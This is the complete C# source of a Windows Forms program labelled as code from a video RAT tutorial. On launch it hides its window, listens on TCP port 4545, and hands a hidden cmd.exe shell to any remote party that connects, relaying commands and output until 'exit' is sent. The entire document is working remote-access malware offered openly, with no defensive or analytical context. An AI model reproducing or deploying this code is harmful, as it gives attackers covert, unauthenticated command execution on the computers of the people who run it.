Code from video:
Code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace rat_tutorial
{
public partial class Form1 : Form
{
TcpListener tcplis;
Socket socketclient;
NetworkStream netstream;
StreamWriter streamwriter;
StreamReader streamreader;
Process cmd_shell;
StringBuilder strInput;
public Form1()
{
InitializeComponent();
}
private void Form1_Shown(object sender, EventArgs e)
{
this.Hide();
tcplis = new TcpListener(System.Net.IPAddress.Any, 4545);
tcplis.Start();
for (; ; )
{
RunServer();
}
}
private void RunServer()
{
socketclient = tcplis.AcceptSocket();
netstream = new NetworkStream(socketclient);
streamreader = new StreamReader(netstream);
streamwriter = new StreamWriter(netstream);
cmd_shell = new Process();
cmd_shell.StartInfo.FileName = "cmd.exe";
cmd_shell.StartInfo.CreateNoWindow = true;
cmd_shell.StartInfo.UseShellExecute = false;
cmd_shell.StartInfo.RedirectStandardOutput = true;
cmd_shell.StartInfo.RedirectStandardInput = true;
cmd_shell.StartInfo.RedirectStandardError = true;
cmd_shell.OutputDataReceived +=
new DataReceivedEventHandler(outputhandler);
cmd_shell.Start();
cmd_shell.BeginOutputReadLine();
strInput = new StringBuilder();
while (true)
{
try
{
strInput.Append(streamreader.ReadLine());
strInput.Append("\n");
cmd_shell.StandardInput.WriteLine(strInput);
if (strInput.ToString().LastIndexOf("exit") >= 0)
StopServer();
if (strInput.ToString().LastIndexOf("exit") >= 0) throw
new ArgumentException();
strInput = strInput.Remove(0, strInput.Length);
}
catch (Exception err)
{
close_connection();
break;
};
}
}
private void close_connection()
{
try { cmd_shell.Kill(); } catch (Exception err) { };
streamreader.Close();
streamwriter.Close();
netstream.Close();
socketclient.Close();
}
private void StopServer()
{
close_connection();
System.Environment.Exit(System.Environment.ExitCode);
}
private void outputhandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamwriter.WriteLine(strOutput);
streamwriter.Flush();
}
catch (Exception err) { }
}
}
}
}
